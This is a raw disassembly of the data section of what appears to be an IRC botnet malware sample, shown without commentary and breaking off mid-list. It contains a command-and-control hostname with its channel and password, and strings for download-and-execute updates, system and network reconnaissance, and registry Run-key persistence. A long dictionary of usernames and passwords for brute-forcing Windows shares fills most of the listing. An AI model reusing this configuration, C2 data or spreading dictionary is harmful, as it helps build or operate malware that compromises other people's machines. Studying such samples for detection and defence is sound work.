dword_421F78	dd 28207325h, 297325hdword_421F80	dd 3F3F3Fh						; seg000:loc_40F5A7o
a2003		db '2003',0             ; DATA XREF: sub_40763F+BAo
					; seg002:00422778o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40763F+AAo
					; seg000:0040F592o ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40763F+98o
					; seg000:0040F582o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40763F+7Eo
					; seg000:0040F569o
		align 4
a98		db '98',0               ; DATA XREF: sub_40763F+6Co
					; seg000:0040F559o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40763F+5Ao
					; seg000:0040F549o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40763F+46o
					; seg000:0040F53Bo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_4078F3+ABo
		align 4
off_421FE4	dd offset loc_412F4C+2	; DATA XREF: sub_4078F3:loc_407967o
dword_421FE8	dd 4E414Ch	dword_421FEC	dd 6C616944h, 70752Dhdword_421FF4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_422004	dd 202E6425h, 3D207325h, 732520hdword_422010	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_407AB1+60o
		align 4
dword_422044	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_407B51+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42207C	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_407B91+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_4220AC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_407B91+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_4220D0	dd 80000002h, 42256Ch, 80000002h, 42259Ch, 80000001h, 4225D4h
					; DATA XREF: sub_407CC0+7o
unk_4220E8	db    2			; DATA XREF: sub_407CC0+63o
					; seg000:00408270o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_422128	db    2			; DATA XREF: seg000:00408262o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_422174	db    2			; DATA XREF: seg000:004081A6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_4221C8	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: seg000:00408135o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:00408113o
					; seg000:0040B1FDo ...
		align 10h
unk_422200	db    2			; DATA XREF: seg000:004080BEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42224C	db    2			; DATA XREF: seg000:0040803Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_422288	db    2			; DATA XREF: seg000:00407FB5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_4222D0	db    2			; DATA XREF: seg000:00407F72o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_422314	db    2			; DATA XREF: seg000:00407F60o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_422360	db    2			; DATA XREF: seg000:00407E54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_408385:loc_4083C8o
					; sub_40E88D+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_408385:loc_4083C2o
aDisk		db 'Disk',0             ; DATA XREF: sub_408385:loc_4083BCo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_408385:loc_4083B6o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_408385:loc_4083B0o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_408385:loc_4083AAo
aFailed		db 'failed',0           ; DATA XREF: sub_408416:loc_4084EEo
					; sub_408531+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_408416+6Bo
		align 4
dword_4223D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_408531+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_422428	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_408531+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_408603:loc_408648o
dword_42247C	dd 1A0Ch						; seg000:00408BD0r
dword_422480	dd 1A0Ch			dd 1AA6h
dword_422488	dd 0E90h						; seg000:0040D1FBr
dword_42248C	dd 15F1h						; seg000:loc_40D2EDr
dword_422490	dd 1		dword_422494	dd 1		dword_422498	dd 1							; seg000:00408AAAo
byte_42249C	db 78h			; DATA XREF: seg000:loc_4082DBr
					; seg000:004095F7r ...
		align 10h
dword_4224A0	dd 9							; sub_40F32E+51r ...
dword_4224A4	dd 1							; seg000:004091BFr ...
aIdxbqw		db 'idxbqw',0           ; DATA XREF: seg000:004087D7o
					; seg000:0040C214o ...
		align 10h
aEnz9_wbvbqw	db 'enz 9.wbvbqw',0     ; DATA XREF: seg000:loc_40DC6Ao
		align 10h
aHi		db 'hi',0               ; DATA XREF: seg000:0040DDE7o
					; seg000:0040DEB6o
		align 4
aM_drd3h_com	db 'm.drd3h.com',0      ; DATA XREF: seg000:00408B08o
					; seg000:00408BC1o
aDc		db '#dc',0              ; DATA XREF: seg000:00408B29o
					; seg000:00408BD7o
aDcpass		db 'dcpass',0           ; DATA XREF: seg000:00408B40o
					; seg000:00408BE9o
		align 4
byte_4224DC	db 6Dh			; DATA XREF: seg000:loc_408BFFr
					; seg000:00408C0Do
		db 2Eh,	64h, 72h
		dd 2E683364h, 6D6F63h
dword_4224E8	dd 636423h	aDcpass_0	db 'dcpass',0           ; DATA XREF: seg000:00408C35o
		align 4
byte_4224F4	db 6Dh			; DATA XREF: sub_40235F+3Eo
					; seg000:00404834o ...
		db 79h,	72h, 65h
		dd 65766563h, 6D6F632Eh, 0
		dd 6572796Dh, 65766563h, 6C6C642Eh, 0
dword_422514	dd 6572794Dh, 65766563h, 6C695420h, 65hdword_422524	dd 2D626252h, 0			dd 6572796Dh, 65766563h, 6D6F632Eh, 0
dword_42253C	dd 692B782Bh, 0	dword_422544	dd 62625223h, 0						; seg000:0040D04Do
		dd 2 dup(737323h), 34373931h, 38h, 6276h, 2E6276h
off_422564	dd offset a@room	; DATA XREF: seg000:loc_40DE31o
					; "*@room"
off_422568	dd offset aMirc1_6_99	; DATA XREF: seg000:00409770r
					; seg000:0040DE4Do
					; "mirc	1.6.99"
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40F920+28o
					; sub_40FC44+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40F920+D4o
					; sub_40FC44+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd 0
		dd offset byte_42E658
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_428F68	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_41E5CC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
